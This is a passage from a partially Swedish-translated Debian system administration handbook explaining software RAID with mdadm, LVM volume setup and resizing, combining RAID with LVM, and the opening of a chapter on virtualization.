# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:08:09 2022 State : clean, resync Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Rebuild Status : 13% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 17 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 1 8 48 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

TIPS RAID, diskar och partitioner

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

A few remarks are in order. First, mdadm notices that the physical elements have different sizes; since this implies that some space will be lost on the bigger element, a confirmation is required.

More importantly, note the state of the mirror. The normal state of a RAID mirror is that both disks have exactly the same contents. However, nothing guarantees this is the case when the volume is first created. The RAID subsystem will therefore provide that guarantee itself, and there will be a synchronization phase as soon as the RAID device is created. After some time (the exact amount will depend on the actual size of the disks…), the RAID array switches to the “active” or “clean” state. Note that during this reconstruction phase, the mirror is in a degraded mode, and redundancy isn't assured. A disk failing during that risk window could lead to losing all the data. Large amounts of critical data, however, are rarely stored on a freshly created RAID array before its initial synchronization. Note that even in degraded mode, the /dev/md1 is usable, and a filesystem can be created on it, as well as some data copied on it.

TIPS Starta en spegel i försämrat läge

Sometimes two disks are not immediately available when one wants to start a RAID-1 mirror, for instance because one of the disks one plans to include is already used to store the data one wants to move to the array. In such circumstances, it is possible to deliberately create a degraded RAID-1 array by passing missing instead of a device file as one of the arguments to mdadm. Once the data have been copied to the “mirror”, the old disk can be added to the array. A synchronization will then take place, giving us the redundancy that was wanted in the first place.

TIPS Konfigurera en spegel utan synkronisering

RAID-1 volumes are often created to be used as a new disk, often considered blank. The actual initial contents of the disk is therefore not very relevant, since one only needs to know that the data written after the creation of the volume, in particular the filesystem, can be accessed later.

One might therefore wonder about the point of synchronizing both disks at creation time. Why care whether the contents are identical on zones of the volume that we know will only be read after we have written to them?

Fortunately, this synchronization phase can be avoided by passing the --assume-clean option to mdadm. However, this option can lead to surprises in cases where the initial data will be read (for instance if a filesystem is already present on the physical disks), which is why it isn't enabled by default.

Now let's see what happens when one of the elements of the RAID-1 array fails. mdadm, in particular its --fail option, allows simulating such a disk failure:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:15:34 2022 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 19 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 - 0 0 1 removed 1 8 48 - faulty /dev/sde

The contents of the volume are still accessible (and, if it is mounted, the applications don't notice a thing), but the data safety isn't assured anymore: should the sdd disk fail in turn, the data would be lost. We want to avoid that risk, so we'll replace the failed disk with a new one, sdf:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 47% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 39 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 spare rebuilding /dev/sdf 1 8 48 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 41 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf 1 8 48 - faulty /dev/sde

Here again, the kernel automatically triggers a reconstruction phase during which the volume, although still accessible, is in a degraded mode. Once the reconstruction is over, the RAID array is back to a normal state. One can then tell the system that the sde disk is about to be removed from the array, so as to end up with a classical RAID mirror on two disks:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf

From then on, the drive can be physically removed when the server is next switched off, or even hot-removed when the hardware configuration allows hot-swap. Such configurations include some SCSI controllers, most SATA disks, and external drives operating on USB or Firewire.

12.1.1.3. Säkerhetskopiera Konfigurationen

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

Backing up the configuration is therefore important, if only for reference. The standard way to do it is by editing the /etc/mdadm/mdadm.conf file, an example of which is listed here:

Exempel 12.1. mdadm konfigurations fil

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1 # This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

One of the most useful details is the DEVICE option, which lists the devices where the system will automatically look for components of RAID volumes at start-up time. In our example, we replaced the default value, partitions containers, with an explicit list of device files, since we chose to use entire disks and not only partitions, for some volumes.

The last two lines in our example are those allowing the kernel to safely pick which volume number to assign to which array. The metadata stored on the disks themselves are enough to re-assemble the volumes, but not to determine the volume number (and the matching /dev/md* device name).

Lyckligtvis kan dessa rader genereras automatiskt:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

The contents of these last two lines doesn't depend on the list of disks included in the volume. It is therefore not necessary to regenerate these lines when replacing a failed disk with a new one. On the other hand, care must be taken to update the file when creating or deleting a RAID array.

12.1.2. LVM

LVM, the Logical Volume Manager, is another approach to abstracting logical volumes from their physical supports, which focuses on increasing flexibility rather than increasing reliability. LVM allows changing a logical volume transparently as far as the applications are concerned; for instance, it is possible to add new disks, migrate the data to them, and remove the old disks, without unmounting the volume.

12.1.2.1. LVM-koncept

Denna flexibilitet uppnås genom en abstraktionsnivå som omfattar tre begrepp.

First, the PV (Physical Volume) is the entity closest to the hardware: it can be partitions on a disk, or a full disk, or even any other block device (including, for instance, a RAID array). Note that when a physical element is set up to be a PV for LVM, it should only be accessed via LVM, otherwise the system will get confused.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

The third kind of object is the LV (Logical Volume), which is a chunk of a VG; if we keep the VG-as-disk analogy, the LV compares to a partition. The LV appears as a block device with an entry in /dev, and it can be used as any other physical partition can be (most commonly, to host a filesystem or swap space).

The important thing is that the splitting of a VG into LVs is entirely independent of its physical components (the PVs). A VG with only a single physical component (a disk for instance) can be split into a dozen logical volumes; similarly, a VG can use several physical disks and appear as a single large logical volume. The only constraint, obviously, is that the total size allocated to LVs can't be bigger than the total capacity of the PVs in the volume group.

It often makes sense, however, to have some kind of homogeneity among the physical components of a VG, and to split the VG into logical volumes that will have similar usage patterns. For instance, if the available hardware includes fast disks and slower disks, the fast ones could be clustered into one VG and the slower ones into another; chunks of the first one can then be assigned to applications requiring fast data access, while the second one will be kept for less demanding tasks.

In any case, keep in mind that an LV isn't particularly attached to any one PV. It is possible to influence where the data from an LV are physically stored, but this possibility isn't required for day-to-day use. On the contrary: when the set of physical components of a VG evolves, the physical storage locations corresponding to a particular LV can be migrated across disks (while staying within the PVs assigned to the VG, of course).

12.1.2.2. Konfigurera LVM

Let us now follow, step by step, the process of setting up LVM for a typical use case: we want to simplify a complex storage situation. Such a situation usually happens after some long and convoluted history of accumulated temporary measures. For the purposes of illustration, we'll consider a server where the storage needs have changed over time, ending up in a maze of available partitions split over several partially used disks. In more concrete terms, the following partitions are available:

på sdb disken, en sdb2 partition, 4 GB;

på sdc disken, ett sdc3 partition, 3 GB;

sdd disken, 4GB, är fullt tillgänglig;

på sdf disken en sdf1 partition, 4 GB; och en sdf2 partition, 5 GB.

In addition, let's assume that disks sdb and sdf are faster than the other two.

Our goal is to set up three logical volumes for three different applications: a file server requiring 5 GB of storage space, a database (1 GB) and some space for back-ups (12 GB). The first two need good performance, but back-ups are less critical in terms of access speed. All these constraints prevent the use of partitions on their own; using LVM can abstract the physical size of the devices, so the only limit is the total available space.

The required tools are in the lvm2 package and its dependencies. When they're installed, setting up LVM takes three steps, matching the three levels of concepts.

First, we prepare the physical volumes using pvcreate:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- 5.00g 5.00g

So far, so good; note that a PV can be set up on a full disk as well as on individual partitions of it. As shown above, the pvdisplay command lists the existing PVs, with two possible output formats.

Now let's assemble these physical elements into VGs using vgcreate. We'll gather only PVs from the fast disks into a vg_critical VG; the other VG, vg_normal, will also include slower elements.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

Here again, commands are rather straightforward (and vgdisplay proposes two output formats). Note that it is quite possible to use two partitions of the same physical disk into two different VGs. Note also that we used a vg_ prefix to name our VGs, but it is nothing more than a convention.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd LV Write Access read/write LV Creation host, time debian, 2022-03-01 00:17:46 +0100 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a----- 1.00g lv_files vg_critical -wi-a----- 5.00g lv_backups vg_normal -wi-a----- 11.98g

Two parameters are required when creating logical volumes; they must be passed to the lvcreate as options. The name of the LV to be created is specified with the -n option, and its size is generally given using the -L option. We also need to tell the command what VG to operate on, of course, hence the last parameter on the command line.

GÅ VIDARElvcreate alternativ

The lvcreate command has several options to allow tweaking how the LV is created.

Let's first describe the -l option, with which the LV's size can be given as a number of blocks (as opposed to the “human” units we used above). These blocks (called PEs, physical extents, in LVM terms) are contiguous units of storage space in PVs, and they can't be split across LVs. When one wants to define storage space for an LV with some precision, for instance to use the full available space, the -l option will probably be preferred over -L.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

Logiska volymer, när de väl skapats, hamnar som blockenhetsfiler i /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Mar 1 00:17 control lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 Mar 1 00:17 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Mar 1 00:19 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Mar 1 00:19 /dev/dm-2

NOTERA Automatisk detektering av LVM-volymer

When the computer boots, the lvm2-activation systemd service unit executes vgchange -aay to “activate” the volume groups: it scans the available devices; those that have been initialized as physical volumes for LVM are registered into the LVM subsystem, those that belong to volume groups are assembled, and the relevant logical volumes are started and made available. There is therefore no need to edit configuration files when creating or modifying LVM volumes.

Note, however, that the layout of the LVM elements (physical and logical volumes, and volume groups) is backed up in /etc/lvm/backup, which can be useful in case of a problem (or just to sneak a peek under the hood).

För att göra det enklare skapas också symboliska länkar i kataloger som matchar VG:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_backups -> ../dm-2

The LVs can then be used exactly like standard partitions:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 24K 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

From the applications' point of view, the myriad small partitions have now been abstracted into one large 12 GB volume, with a friendlier name.

12.1.2.3. LVM Övertid

Even though the ability to aggregate partitions or physical disks is convenient, this is not the main advantage brought by LVM. The flexibility it brings is especially noticed as time passes, when needs evolve. In our example, let's assume that new large files must be stored, and that the LV dedicated to the file server is too small to contain them. Since we haven't used the whole space available in vg_critical, we can grow lv_files. For that purpose, we'll use the lvresize command, then resize2fs to adapt the filesystem accordingly:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.46.2 (28-Feb-2021) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

VARNING Ändra storlek på filsystem

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

The ext3, ext4 and xfs filesystems can be grown online, without unmounting; shrinking requires an unmount. The reiserfs filesystem allows online resizing in both directions. The venerable ext2 allows neither, and always requires unmounting.

We could proceed in a similar fashion to extend the volume hosting the database, only we've reached the VG's available space limit:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 974M 883M 25M 98% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3 Physical volume "/dev/sdb3" successfully created. # vgextend vg_critical /dev/sdb3 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <12.99g <5.99g # lvresize -L 2G vg_critical/lv_base [...] # resize2fs /dev/vg_critical/lv_base [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 886M 991M 48% /srv/base

GÅ VIDARE Avancerad LVM

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. RAID eller LVM?

RAID and LVM both bring indisputable advantages as soon as one leaves the simple case of a desktop computer with a single hard disk where the usage pattern doesn't change over time. However, RAID and LVM go in two different directions, with diverging goals, and it is legitimate to wonder which one should be adopted. The most appropriate answer will of course depend on current and foreseeable requirements.

There are a few simple cases where the question doesn't really arise. If the requirement is to safeguard data against hardware failures, then obviously RAID will be set up on a redundant array of disks, since LVM doesn't really address this problem. If, on the other hand, the need is for a flexible storage scheme where the volumes are made independent of the physical layout of the disks, RAID doesn't help much and LVM will be the natural choice.

NOTERA Om prestanda spelar roll…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

The third notable use case is when one just wants to aggregate two disks into one volume, either for performance reasons or to have a single filesystem that is larger than any of the available disks. This case can be addressed both by a RAID-0 (or even linear-RAID) and by an LVM volume. When in this situation, and barring extra constraints (for instance, keeping in line with the rest of the computers if they only use RAID), the configuration of choice will often be LVM. The initial set up is barely more complex, and that slight increase in complexity more than makes up for the extra flexibility that LVM brings if the requirements change or if new disks need to be added.

Then of course, there is the really interesting use case, where the storage system needs to be made both resistant to hardware failure and flexible when it comes to volume allocation. Neither RAID nor LVM can address both requirements on their own; no matter, this is where we use both at the same time — or rather, one on top of the other. The scheme that has all but become a standard since RAID and LVM have reached maturity is to ensure data redundancy first by grouping disks in a small number of large RAID arrays, and to use these RAID arrays as LVM physical volumes; logical partitions will then be carved from these LVs for filesystems. The selling point of this setup is that when a disk fails, only a small number of RAID arrays will need to be reconstructed, thereby limiting the time spent by the administrator for recovery.

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

RAID-1 and LVM are combined to satisfy these constraints. The disks are attached to two different SATA controllers to optimize parallel access and reduce the risk of a simultaneous failure, and they therefore appear as sda and sdc. They are partitioned identically along the following scheme:

# sfdisk -l /dev/sda Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors Disk model: SAMSUNG MZ7LM960 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012 Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 100667391 100663296 48G Linux RAID /dev/sda3 100667392 134221823 33554432 16G Linux RAID /dev/sda4 134221824 763367423 629145600 300G Linux RAID /dev/sda5 763367424 1392513023 629145600 300G Linux RAID /dev/sda6 1392513024 1875384974 482871951 230.3G Linux LVM

The first partitions of both disks are BIOS boot partitions.

The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

Once the VGs are created, they can be partitioned in a very flexible way. One must keep in mind that LVs created in vg_raid will be preserved even if one of the disks fails, which will not be the case for LVs created in vg_bulk; on the other hand, the latter will be allocated in parallel on both disks, which allows higher read or write speeds for large files.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

NOTERA Varför tre RAID-1 volymer?

We could have set up one RAID-1 volume only, to serve as a physical volume for vg_raid. Why create three of them, then?

The rationale for the first split (md0 vs. the others) is about data safety: data written to both elements of a RAID-1 mirror are exactly the same, and it is therefore possible to bypass the RAID layer and mount one of the disks directly. In case of a kernel bug, for instance, or if the LVM metadata become corrupted, it is still possible to boot a minimal system to access critical data such as the layout of disks in the RAID and LVM volumes; the metadata can then be reconstructed and the files can be accessed again, so that the system can be brought back to its nominal state.

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. Virtualisering

Virtualization is one of the most major advances in the recent years of computing. The term covers various abstractions and techniques simulating virtual computers with a variable degree of independence on the actual hardware. One physical server can then host several systems working at the same time and in isolation. Applications are many, and often derive from this isolation: test environments with varying configurations for instance, or separation of hosted services across different virtual machines for security.

There are multiple virtualization solutions, each with its own pros and cons. This book will focus on Xen, LXC, and KVM, but other noteworthy implementations include the following:

QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.

→ https://qemu.org/

Bochs is another free virtual machine, but it only emulates the x86 architectures (i386 and amd64).

VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.

→ https://vmware.com/

VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.

→ https://www.virtualbox.org/

HÅRDVARA Stöd för virtualisering

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

